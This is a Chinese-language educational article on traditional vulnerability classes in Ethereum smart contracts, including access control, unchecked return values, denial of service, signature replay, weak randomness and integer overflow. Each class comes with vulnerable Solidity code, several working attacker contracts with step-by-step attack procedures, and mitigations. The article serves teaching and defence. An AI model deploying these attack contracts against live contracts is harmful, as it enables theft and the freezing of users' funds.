作者: 天宸@螞蟻安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/Fj6cZ21yuGXDT0qStLaopw

上期分享中,靈巧為大家介紹了智能合約安全系列,并揭秘了以太坊特性上多種新漏洞類型。今天我們進入漏洞攻防術-下集,探索以太坊上那些舊貌換新顏的傳統漏洞類型。

權限控制問題屬于傳統的漏洞類型,在絕大多數平臺和系統上都有發生。以太坊上目前發現兩類權限控制問題:完全無訪問控制和有訪問控制,但是訪問控制不當,沒有達到訪問控制的效果。

權限控制漏洞

合約對用戶無訪問控制

這類問題一個典型的案例是 Constructor 函數定義不當。

漏洞介紹

Constructor 構造函數是特殊函數,在初始化合約時構造函數通常會執行關鍵的特權任務。在 v0.4.22 之前,構造函數被定義為與合約同名的函數。因此,在開發中更改合約名稱時,如果不更改構造函數名稱,則它將變為普通的可調用函數,導致被攻擊。

漏洞示例

如果合約名稱被修改,或者在構造函數名稱中出現錯字,使得它不再與合約名稱匹配,則構造函數的行為將像普通函數一樣。這可能會導致可怕的后果,尤其是在構造函數正在執行特權操作的情況下,考慮以下合約:

contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}

該合約收集以太幣,并且僅允許所有者通過調用 withdraw() 函數來提取所有以太幣。出現此問題是由于以下事實:構造函數未在合同之后準確命名。具體來說,ownerWallet 與 OwnerWallet 不同。因此,任何用戶都可以調動ownerWallet()函數,將自己設置為所有者,然后通過調用withdraw()獲取合同中的所有以太幣。

攻擊示例

任何用戶都可以調用 ownerWallet() 函數,將自己設置為所有者,然后通過調用 withdraw() 獲取合約中的所有以太幣。

規避建議

此問題已在0.4.22版的Solidity編譯器中得到主要解決。此版本引入了一個 constructor 關鍵字,該關鍵字指定構造函數,而不是要求函數名稱與合同名稱匹配。建議使用此關鍵字指定構造函數,以防止出現上面突出顯示的命名問題。

合約對用戶訪問控制不當

這類問題的典型案例是 tx.origin 使用不當,導致訪問控制被繞過。

漏洞介紹

合約使用 tx.origin 作為身份認證的憑據,就能夠被攻擊者巧妙的繞過。攻擊者只需要誘騙合約向其掌控的攻擊合約發送少量代幣,即可繞過 tx.origin 的身份認證。

漏洞示例

pragma solidity ^0.4.18;

contract TxOriginVictim {    address public owner;    function TxOriginVictim() payable{      owner = ms
pragma solidity ^0.4.18;


contract TxOriginVictim {
    address public owner;
    function TxOriginVictim() payable{
      owner = msg.sender;
    }
    function transferTo(address to, uint amount) public {
      require(tx.origin == owner);
      to.call.value(amount)();
    }
    function() payable public {}

    function getBalance() public constant returns (uint256) {
        return this.balance;
    }
    }

攻擊步驟

攻擊代碼:

contract TxOriginAttacker {
    address public owner;
    function TxOriginAttacker() public {
      owner = msg.sender;
    }

    function() payable public {
      TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() public constant returns (uint256) {
        return this.balance;
    }
}

攻擊步驟:

1.account A 部署 TxOriginVictim 合約,owner 是 account A,轉入 10 ether。

2.account B 部署 TxOriginAttacker 合約,owner 是 account B,記錄 account B 的余額,為后續做比較。

3.攻擊者誘惑受害者向 TxOriginAttacker 轉入少量的幣,即調用 transferTo 函數向 TxOriginAttacker 地址轉賬。

4.查看 account B 的余額,可以看到 TxOriginVictim 的幣全部轉到 account B 賬戶了,攻擊成功。

規避建議

禁止使用 tx.origin 作為身份認證的憑據。如需要判定消息來源,可使用 msg.sender 。

未檢查返回值漏洞

gasless send 漏洞

漏洞介紹

當使用 send 發送幣到一個合約時,可能發生 out of gas 異常。在 0.4.0 之前,send 可用的 gas 數量由發送的幣的數量決定,如果發送的幣的數量是 0,那么 send 的 gas 數是 0,否則是 2300。在 0.4.0 及之后,send 可用的 gas 數量統一是 2300。

調用 send 發送幣到一個合約時,會自動執行該合約的 fallback 函數。如果 fallback 函數中有很“貴”的操作,比如修改了合約的全局變量,那么 2300 gas 不夠用,就會拋出 out of gas 異常,轉幣失敗。此時如果調用者沒有判斷 send 的返回值而默認轉幣成功,那么可以導致雙方賬目不平。

漏洞示例

pragma solidity ^0.4.10;

contract GaslessSend {
    address owner;
    function GaslessSend () payable public{
        owner=msg.sender;
    }
    function pay(uint n, address d) public {
        d.send(n);
    }
    // 便于觀察執行是否成功
    function getBalance() constant returns(uint){
        return this.balance;
    }
}

攻擊步驟

攻擊代碼:

contract D1 {
    uint public count = 0;

    function() payable external {
        count = count+1;
    }

    function getBalance() constant returns(uint){
        return this.balance;
    }
}

contract D2  {
    function() payable external {}

    function getBalance() constant returns(uint){
        return this.balance;
    }
}

攻擊步驟:

1.accountA 部署 GaslessSend 合約,并存入 2 ether。

2.accountB 部署 D1 合約。D1合約有很“貴”的操作count+1。

3.accountC 部署 D2 合約。D2合約沒有貴的操作。

4.調用 GaslessSend 的 getBalance 函數,查看一下余額,然后把 Gas Limit 設置為 30000,向 D1 轉入 2 wei。查看 log,確認交易發送成功。

5.調用 D1 的 getBalance 函數,查看余額,發現 D1 的余額并沒有改變,說明轉賬失敗。但 GaslessSend 并不知情,這樣會引起雙方賬目不一致。這是因為D1里有很貴的操作,30000gas不夠用,交易會回滾。

6.重復步驟 4、5 向 D2 合約轉入 2 wei。查看 D2 合約的余額,發現 D2 余額變為 2 wei,說明轉賬成功。D2是D1的對比實驗,說明盡管調用同一個合約的同一個辦法,但由于轉賬目的合約實現的不同,調用結果也會不同,需識別這種風險。 圖片

規避建議

在使用 send 函數時,被調用的合約不一定能執行成功,send 會返回 false。要判斷 send 的返回值,在 send 返回 false 時,進行相應處理,否則會引起雙方賬目不一致。

轉幣函數推薦使用 transfer,transfer 函數執行失敗時會拋出異常同時整個狀態會回滾,合約開發者能夠及時發覺異常信息。

exception disorder 漏洞

漏洞介紹

Solidity 處理異常的方式由函數的調用方式決定。簡單來說有兩類調用方式:直接調用,通過 call 指令調用。

對于直接調用的方式,如果發生異常,Solidity 會直接 revert 到最頂層的調用棧,所有操作都會被 revert,合約的狀態會回到最頂層的調用未發生時的狀態。

對于 call 指令的調用,如果發生異常,Solidity 只會 revert 到 call 指令所在的函數。如果 call 指令所在的函數沒有判斷異常,那么異常不會向上傳遞,就會導致邏輯混亂。

漏洞示例

contract Alice{
    uint256 public n = 0;

    function pong() public{
        n = n + 1;
        revert();
    }
}

攻擊步驟

contract Bob{
    uint256 public x = 0;
    uint256 public y = 0;

    function ping1(Alice alice) public returns (uint256)  {
        x = 2;
        alice.pong();
        x = 4;
    }


    function ping2(address alice) public returns (uint256)  {
        y = 2;
        alice.call(bytes4(keccak256("pong(uint256)")));
        y = 4;
    }
}

攻擊步驟:

1.account A 部署 Alice合約。

2.account B 部署 Bob合約--- 這里只是盡量模擬真實的環境,用哪個 account部署并不影響結果。

3.調用 Bob 合約的 ping1 方法,參數傳入 Alice 合約的地址。若發生異常,log則可以看到調用失敗。

4.此時觀察 Alice 合約的 n 值,值為 0,說明 Alice 合約內發生的操作被 revert。再觀察 Bob 合約 x 的值,值為 0 ,表示所有的操作都被 revert。符合預期。

5.調用 Bob 合約的 ping2 方法,參數傳入 Alice 合約的地址。盡管發生異常,log 不會直接顯示調用失敗。

6.此時觀察 Alice 合約的 n 值,值為 0,說明 Alice 合約內發生的操作被 revert。再觀察 Bob 合約 y 的值,值為 4 ,表示 Bob 合約的操作沒有被 revert。不符合預期,會產生邏輯上的混亂。

規避建議

1.如果想要發生異常之后,revert 所有的操作,推薦使用直接調用的方式。

2.如果有充分的理由不能使用直接調用的方式,需要嚴格判斷 call 函數的返回值,并做相應的處理。

DoS 漏洞

拒絕服務漏洞是一種常見的漏洞。其攻擊形式多種多樣,攻擊的目的是讓用戶短暫的或永久的不能使用合約提供的服務,包括利用的漏洞類型也多種多樣。

king of ether 代表的 DoS 漏洞類型

這種 DoS 漏洞類型是:依賴外部調用的進展,如果外部調用執行失敗,后續的操作也就無法執行,導致拒絕服務。

漏洞介紹

King of the Ether Throne 是一個競選國王的合約游戲,游戲規則是如果新玩家發送的 ETH 數量大于當前指定的 price 的數量,合約就向上一個國王發送 price 數量的 ETH,新玩家就會成為新的國王,然后合約把 price 調的更高一些,等待下一位國王。

漏洞示例

pragma solidity ^0.4.10;

contract PresidentOfCountry {
    address public president;
    uint256 price;

    function PresidentOfCountry(uint256 _price) {
        require(_price > 0);
        price = _price;
        president = msg.sender;
    }

    function becomePresident() payable {
        require(msg.value >= price); // must pay the price to become president
        president.transfer(price);   // we pay the previous president
        president = msg.sender;      // we crown the new president
        price = price * 2;           // we double the price to become president
    }
}

攻擊示例

攻擊代碼:

contract Attack {
    function () { revert(); }

    function Attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
    }
}

攻擊步驟:

1.account A 發布合約,指定初始 price。

2.account B 發布 Attack 合約,指定攻擊目標地址,和存入大于當前 price 的 ether,保證 Attack 合約能夠成為 president。

3.此后任何賬戶如果試圖成為 president ,會觸發轉幣給 Attack 合約的 fallback 函數。也就是會調用 revert();導致轉幣失敗。如此就會阻止其他賬戶成為 president。

規避建議

采用“取回”模式發送幣,讓之前發送的人自己取回幣。這樣取回的人就不能作惡,否則就會失去代幣。

示例代碼:

  function withdraw() public {
        uint amount = pendingWithdrawals[msg.sender];
        // 記住,在發送資金之前將待發金額清零
        // 來防止重入(re-entrancy)攻擊
        pendingWithdrawals[msg.sender] = 0;
        msg.sender.transfer(amount);
    }

GovernMental 騙局代表的 DoS 漏洞類型

這種 DoS 漏洞類型是:依賴外部可以操作的數據,如數組或映射,如果外部操作改變了數據,修改后的數據使得后續的操作無法執行,導致拒絕服務。

漏洞介紹

GovernMental 是一個類似龐氏騙局的游戲合約。游戲規則是債權人(玩家)至少投入 1 ETH 參與游戲,債權人有望獲得 1ETH + 10% 利息。

發送給合同的 ETH 是這樣分配的:5%分配給頭獎,5%分配給管理政府的腐敗精英(合同所有者),90%用來按信用日期順序償還債權人。如果“政府”(合同)在12個小時內未收到新錢,則最新的債權人將獲得頭獎,其他所有債權人將失去其債權。

漏洞示例

合約所有者希望在投資者之間分配代幣。

contract DistributeTokens {
    address public owner; // gets set somewhere
    address[] investors; // array of investors
    uint[] investorTokens; // the amount of tokens each investor gets

    // ... extra functionality, including transfertoken()

    function invest() public payable {
        investors.push(msg.sender);
        investorTokens.push(msg.value * 5); // 5 times the wei sent
        }

    function distribute() public {
        require(msg.sender == owner); // only owner
        for(uint i = 0; i < investors.length; i++) { 
            // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
            transferToken(investors[i],investorTokens[i]); 
        }
    }
}

此合約中的循環遍歷的數組可以被人為擴充。

攻擊示例

攻擊者可以創建許多用戶帳戶,讓 investor 數據變得更大。原則上來說,可以讓執行 for 循環所需的 Gas 超過區塊 Gas 上限,這會使 distribute() 函數變得無法操作。

規避建議

合約不應該遍歷可以被外部用戶人為操縱的數據結構。建議使用 withdrawal 模式,每個投資者都會調用取出函數獨立取出代幣。

freezing ether 代表的 DoS 漏洞類型

這種 DoS 的漏洞類型是:依賴外部的合約庫。如果外部合約的庫被刪除,那么所有依賴庫的合約服務都無法使用。

漏洞介紹

有些合約用于接受ether,并轉賬給其他地址。但是,這些合約本身并沒有自己實現一個轉賬函數,而是通過delegatecall去調用一些其他合約中的轉賬函數去實現轉賬的功能。

萬一這些提供轉賬功能的合約執行suicide或self-destruct操作的話,那么,通過delegatecall調用轉賬功能的合約就有可能發生ether被凍結的情況。

漏洞示例

Parity 錢包遭受的第二次攻擊是一個很好的例子。

Parity 錢包提供了多簽錢包的庫合約。當庫合約的函數被 delegatecall 調用時,它是運行在調用方(即:用戶多簽合約)的上下文里,像 m_numOwners 這樣的變量都來自于用戶多簽合約的上下文。另外,為了能被用戶合約調用,這些庫合約的初始化函數都是public的。

庫合約本質上也不過是另外一個智能合約,這次攻擊調用使用的是庫合約本身的上下文,對調用者而言這個庫合約是未經初始化的。

攻擊示例

1.攻擊者調用初始化函數把自己設置為庫合約的 owner。

2.攻擊者調用 kill() 函數,把庫合約刪除,所有的 ether 就被凍結了。

規避建議

在涉及到轉幣操作的合約里,一定要寫把幣取回的函數,寫取幣函數可參考:

 function withdraw() public {
        uint amount = pendingWithdrawals[msg.sender];
        // 記住,在發送資金之前將待發金額清零
        // 來防止重入(re-entrancy)攻擊
        pendingWithdrawals[msg.sender] = 0;
        msg.sender.transfer(amount);
    }

重放漏洞圖片

漏洞介紹

在資產管理體系中,常有委托管理的情況,委托人將資產給受托人管理,委托人支付一定的費用給受托人。這個業務場景在智能合約中也比較普遍。

function transferProxy(address _from, address _to, uint256 _value, uint256 _fee, ui

transferProxy 方法涉及的角色:

角色1: 需要轉 Token,但自己錢包地址里沒有 ETH 的人,即合約中的 _from

角色2: 幫助角色1來轉 Token,并支付 ETH 的 gas 費用,即合約中的 msg.sender,也是調用這個合約的人

角色3: Token 接收方,即合約中的 _to

transferProxy 方法的目的:

角色1想要轉 Token 給角色3,但自己又沒有 ETH 來支付手續費,于是角色1找到有 ETH 的角色2說:我給你一些 Token 當做手續費,你來通過調用 transferProxy 來把我的 Token 轉給角色3,因為你有 ETH。

漏洞示例

function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
    uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){

    if(balances[_from] < _fee + _value 
        || _fee > _fee + _value) revert();

    uint256 nonce = nonces[_from];
    bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));
    if(_from != ecrecover(h,_v,_r,_s)) revert();

    if(balances[_to] + _value < balances[_to]
        || balances[msg.sender] + _fee < balances[msg.sender]) revert();
    balances[_to] += _value;
    emit Transfer(_from, _to, _value);

    balances[msg.sender] += _fee;
    emit Transfer(_from, msg.sender, _fee);

    balances[_from] -= _value + _fee;
    nonces[_from] = nonce + 1;
    return true;
}

函數中關鍵的點是keccak256和ecrecover,即橢圓曲線加密數字簽名(ECDSA)函數和驗簽函數,keccak256等同于sha3。

如下是簽名、驗簽過程:

角色1(from)先用sha3函數對 from,to,value,_fee,nonce,address(token)進行處理得到msg值,然后使用web3.eth.sign(address, msg)得到簽名signature;

將signature取前 0~66 個字節作為 r, 66~130 之間的字節作為 s,130~132 的字節作為 v,然后把 v 轉為整型,角色1把這些信息告知角色2,角色2調用合約的transferProxy進行轉賬;

合約內ecrecover接收簽名數據的哈希值以及 r/s/v 等參數作為輸入,返回實施該簽名的賬戶地址;

校驗步驟3中得到的賬戶地址與 _from 是否匹配;

let msg = web3.sha3(_from,_to,_value,_fee,nonce,address(token))
let signature = web3.eth.sign(_from, msg)

let r = signature.slice(0, 66)
let s = '0x' + signature.slice(66, 130)
let v = '0x' + signature.slice(130, 132)
v = web3.toDecimal(v)

console.log('r', r)
console.log('s', s)
console.log('v', v)
console.log(msg)

角色1、角色2需要事先溝通好nonce、fee,其中nonce在合約中定義,從 0 開始自增,可調用合約的getNonce(address addr)函數查詢。

攻擊示例

圖片

圖片來源慢霧科技

由于合約所有的調用數據(函數參數)都在鏈上公開可查,所以可從 Transaction 中提取所有簽名信息。

圖片

圖片來源慢霧科技

在智能合約重放攻擊中,基于橢圓曲線加密數字簽名(ECDSA)和驗簽的邏輯,可利用不同合約中相同的transferProxy實現,把 A 合約 Transaction 中的簽名信息提取出來,在 B 合約中進行重放,由于涉及簽名的所有參數都是一樣的,所以可以直接調用 B 合約并廣播到鏈上。

攻擊成功的前提是 _from 賬戶在兩個合約中的 nonce 值是一樣的,這樣才能保證簽名后的 hash 值相同。

測試工具:

https://github.com/nkbai/defcon26/tree/master/trproxy

此漏洞參考[2]整理。

規避建議

nonce 生成算法不采用從 0 開始自增的設計,避免和場景的做法相同;

去除 transferProxy 函數,改成其他方式實現代理的需求。

隨機數可預測漏洞

隨機數問題也是各區塊鏈平臺常見的問題,區別在于各個平臺被用作隨機源的數據不同。

漏洞介紹

以太坊數據塊里有一些屬性,如:

·block.number (uint): current block number

·block.timestamp (uint): current block timestamp as seconds since unix epoch

·blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent, excluding current, blocks

某些合約會使用這些屬性作為隨機數種子,如使用時間戳作為開獎語句的條件。礦工有能力微調時間戳,使之滿足中獎條件而中獎。相似的場景還可以用 block.number 來當作隨機源。使用可預測的隨機源作為隨機數的種子屬于危險操作。

漏洞示例

contract Roulette {    
  uint public pastBlockTime; // Forces one bet per block
    constructor() public payable {} // initially fund contract

    // fallback function used to make a bet
    function () public payable {        
      require(msg.value == 10 ether); // must send 10 ether to play
        require(now != pastBlockTime); // only 1 transaction per block
        pastBlockTime = now;        
        if(now % 15 == 0) { // winner
            msg.sender.transfer(this.balance);
        }
    }
}

攻擊步驟

這份合約表現得像一個簡單的彩票。轉入 10 ether 有贏得合約余額的機會。這里的假設是,block.timestamp關于最后兩位數字是均勻分布的。如果是這樣,那么將有1/15的機會贏得這個彩票。但正如我們所知,礦工可以根據需要時間調整。

在這種特殊情況下,如果合約中有足夠的ether,解決某個區塊的礦工將被激勵選擇一個模 15 為 0 的 block.timestamp 或 now。這樣做他們就會贏得這個合約的余額。

相似的場景還可以用 block.number 來當作隨機源。也屬于危險操作。

規避建議

通行的做法是采用鏈外off-chain 的第三方服務,比如 Oraclize 來獲取隨機數)。

https://solidity-cn.readthedocs.io/zh/develop/security-considerations.html#id3

整數溢出漏洞

數溢出是各類語言的常見問題,Solidity 也不例外。

漏洞介紹

整整數溢出是指經過一些運算之后超過該類型所表示的最大值或者最小值,產生溢出。整數常見的運算有 + - * / ,每一種運算都可能產生溢出。

加法溢出

以 8 位無符整型為例,8 位無符號整型可表示的范圍為 [0, 255],255 在內存中存儲按位存儲的形式為(下圖左):

圖片

圖片來源seebug

如果是 8 位有符整型,其可表示的范圍為 [-128, 127],127 在內存中存儲按位存儲的形式為(下圖左):

圖片

圖片來源seebug

在這里因為高位作為了符號位,當 127 加上 1 時,由于進位符號位變為 1(負數),因為符號位已翻轉為 1,通過還原此負數值,最終得到的 8 位有符整數為 -128。

小結:最大值+1會發生反轉成最小值

減法溢出

減法溢出的原理和加法溢出類似 uint8 integer 0000 0000 -1 ------> 1111 1111 = 255 (0-1) int8 integer 1000 0000 -1 ------> 0111 1111 = 127 (-128-1)

小結:最小值-1會發生反轉成最大值

乘法溢出

乘法溢出和加法溢出類似,兩數相乘之后,超過數值類型所表示的最大值或者最小值,產生溢出。如:

function testMul(int8 m, int8 n) returns (int8){
        int8 num = m*n;
        return num;
    }

在 remix 平臺上,驗證返回結果是:

輸入
{
    "int8 m": 100,
    "int8 n": 2
}
輸出
{
    "0": "int8: -56"
}

由于 int8 能表示的最大值是 127,100x2 運算之后的值是 200,超過了 int8 表示的最大值,產生溢出,溢出為 -56。

除法溢出

除法運算除了常見的除 0 錯誤之外,還有可能發生溢出。有符號數的最小值除 -1 導致溢出:

function test() returns (int8) {
        int8 i = -128;
        return i/int8(-1);
    }   }

在 remix 平臺上,驗證返回結果是:

{
    "0": "int8: -128"
}

溢出情況分析:-128/-1 = 128 超出 int8 表示的最大值,溢出為 -128。

漏洞示例

pragma solidity ^0.4.10;
contract MyToken {
    mapping (address => uint) balances;

    event balancesAndAmount(uint, uint);
    function balanceOf(address _user) returns (uint) { return balances[_user]; }
    function deposit() payable { balances[msg.sender] += msg.value; }
    function withdraw(uint _amount) {
        balancesAndAmount(balances[msg.sender], _amount);
        require(balances[msg.sender] - _amount > 0);  // 存在整數溢出
        msg.sender.transfer(_amount);
        balances[msg.sender] -= _amount;
    }
}

攻擊步驟

1.account A 發布合約

2.account A deposit 1 ether 到合約

3.account B 取 1 ether。uint 默認是 u256。因為 account B 賬號的余額是 0,balances[msg.sender] - amount 會發生下溢出,0-1 = 2256-1 > 0,能夠滿足 require 條件,順利執行到 msg.sender.transfer(amount); 能夠成功獲得 1 ether。之后 account B 在合約里的余額也變成 2256 -1。

2^256 = 
115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,
639,936 (78 digits)

4.balance of account A 的余額不會變。因為沒有操作過 account A 的余額。

思考:那轉給 account B 的錢從哪里出的?是不是合約自己背鍋?

5.進一步嘗試把 amount 的類型改成 int8,執行相同的攻擊步驟,依然會發生溢出,且 account B 的 balance 依然按照 uint256 類型反轉。

規避建議

使用 SafeMath 進行四則運算,或者交與專業團隊進行代碼審計。

浮點數精度

漏洞介紹

solidity 的最新版本是 0.8.1,截止到這個版本,solidity 依然不支持浮點型,也不完全支持定長浮點型。其中定長浮點型在Solidity中可以用來聲明變量,但是并不能用來賦值。

在除法運算中,如果無法整除,小數部分會被舍棄。這樣,如果在代幣的運算中出現運算結果小于1Ether的情況,那么0.XXX就會被約等于0。1.9個代幣會被約等于1個,帶來一定程度上的精度流失。由于代幣的經濟屬性,精度的流失就相當于資產的流失。

漏洞示例

看如下代碼片段:

function buyToken() public payable{
   uint tokens = msg.value/weiPerEth * tokensPerEth;
   balance[msg.sender] += tokens;
}

攻擊步驟

代碼采用了先除后乘的方式,如果 msg.value > weiPerEth,tokens 會為 0,造成買家損失。

規避建議

推薦的做法是先做乘法,再做除法。

小結

本文主要關注的是以太坊平臺的智能合約面臨的安全威脅,同樣地,EOS 平臺也面臨類似的威脅類型,相信這些漏洞梳理可以為讀者們帶去更深刻的思考和啟發,對以太坊平臺也有了更進一步的了解,歡迎大家繼續關注本系列后續的文章。

參考文獻

1.https://www.chainnode.com/post/355956

2.https://mp.weixin.qq.com/s?__biz=MzU4ODQ3NTM2OA==&mid=2247483952&idx=1&sn=e09712da8b943b983a847878878b5f70&chksm=fddd7cb7caaaf5a1e3d4d781ee785e25dcef30df5c2c050fd581e4c4d5fb1027c1bbe02961e9&scene=21

3.http://www.bjnorthway.com/633/

4.http://www.bjnorthway.com/632/

5.https://eth.wiki/en/howto/smart-contract-safety

6.https://consensys.github.io/smart-contract-best-practices/

7.https://www.dasp.co/

8.https://eprint.iacr.org/2016/1007.pdf

9.https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8

10.http://www.bjnorthway.com/624/

11.http://www.bjnorthway.com/615/

12.https://cloud.tencent.com/developer/article/1171294

13.http://www.bjnorthway.com/685/

14.https://www.freebuf.com/vuls/179173.html

15.https://www.kingoftheether.com/thrones/kingoftheether/index.html

16.https://www.mdeditor.tw/pl/2LVR

17.http://www.bjnorthway.com/607/

18.https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514

19.《區塊鏈安全入門與實戰》第3 章. 劉林炫. 北京. 機械工業出版社.

掃碼關注螞蟻安全實驗室微信公眾號,干貨不斷!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1545/